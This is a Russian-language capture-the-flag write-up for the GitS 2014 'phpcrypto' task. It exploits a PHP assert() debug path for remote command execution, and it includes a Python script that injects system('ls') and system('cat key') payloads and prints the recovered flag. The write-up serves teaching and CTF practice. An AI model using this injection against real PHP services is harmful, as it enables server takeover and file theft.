Ghost in the Shellcode CTF 2014 (phpcrypto)

Решения

https://github.com/ctfs/write-ups/blob/master/ghost-in-the-shellcode-2014/phpcrypto/README.md (mathiasbynens)
http://tasteless.se/2014/01/gits-2014-phpcrypto-recon-100/ (ccmndhd)
Назад к списку заданий

Задание (recon)

Question 28 - phpcrypto
Points: 100
GitS Presents PHPCrypto 0.000001
http://phpcrypto.2014.ghostintheshellcode.com/

Подробное описание

Одна из задач, основанная на уязвимости вида PHP Remote command execution.
Дано: web-сервис по шифрованию строк, написанный на PHP.
1.png

В HTML исходном коде страницы находим следующее:

function encrypt()
{
    key = $("#key")[0].value;
    plaintexthex = toHex($("#plaintext")[0].value);
    function success(data) {$("#ciphertext")[0].value = $.parseJSON(data).returnValue;}
    $.post('crypto.php', {"function":"customCrypto", "key":key, "plaintexthex":plaintexthex}, success );
}
 
function decrypt()
{
    key = $("#key")[0].value;
    ciphertext = $("#ciphertext")[0].value;
    function success(data) {$("#plaintext")[0].value = toAscii($.parseJSON(data).returnValue);}
    $.post('crypto.php', {"function":"customCrypto", "key":key, "plaintexthex":ciphertext}, success );
}

Для шифрования / расшифрования данных (plaintext) используется POST запрос скрипту crypto.php с именем функции "customCrypto", нашим ключом "key" и нашими данными (они передаются как строка в 16-тиричном виде; для шифрования данные берем из поля Plaintext, для расшифрования – из поля Ciphertext).

Также в HTML исходном коде страницы есть комментарий:

$(document).ready(function()
{/*
    TODO: add support for "help" and "dump" functions
     */
});

Т.е. имя функции в POST запросе может быть "help" или "dump". Используя "dump", мы получим HTML документ, содержащий PHP скрипт crypto.php:
$ curl http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --data 'function=dump' > crypt.html

Просматривая результат, выясняем, что есть еще один параметр, который можно передать сервису. Это "DEBUG". Его задача: формировать отладочные сообщения на основе функции assert(). По сути assert("выражение") - это та же функция eval("выражение"): assert() проверит заданное "выражение" и совершит соответствующее действие. Кроме того, скрипт завершит свою работу, если результатом "выражения" окажется FALSE. Если "выражение" задается в виде строки, то оно будет рассматриваться функцией assert() как PHP код.

Выражение assert() в нашем случае имеет вид:

If (isset($DEBUG) && $DEBUG == "true") {
    assert($message = "The key is: $xorKey and the plaintext is: $plaintext");
}

где $xorKey и $plaintext мы контролируем. Наша задача сделать так, чтобы выражение assert() было TRUE (т.е. скрипт "распечатает" отладочное сообщение и не прекратит свою работу). При этом $plaintext в виде строки содержит PHP код '"); system("команда, выполняемая на стороне сервиса");"', который выполнится на стороне web-сервиса.

В коде на Питоне используем модуль Requests

import requests as r
 
def to_hex(ascii):
    foo = ''
    for i in xrange(0, len(ascii)):
        foo += hex(ord(ascii[i]))[2:]
 
    return foo
 
payload_ls = {
    'function': 'customCrypto',
    'plaintexthex': to_hex('"); system("ls");//'),
    'key': 'X'
    }
 
req = r.post('http://phpcrypto.2014.ghostintheshellcode.com/crypto.php',
    data=payload_ls)
 
print req.content

Список файлов на сервере:
crypto.php
index.php
jquery-1.8.0.min.js
key

Читаем файл ключа следующей командой:

payload_ls = {
    'function': 'customCrypto',
    'plaintexthex': to_hex('"); system("cat key");//'),
    'key': 'X'
    }

Флаг:
ThisWasAStupidTestKeyThatBecameARealBoy

Пока не указано иное, содержимое этой страницы распространяется по лицензии Creative Commons Attribution-ShareAlike 3.0 License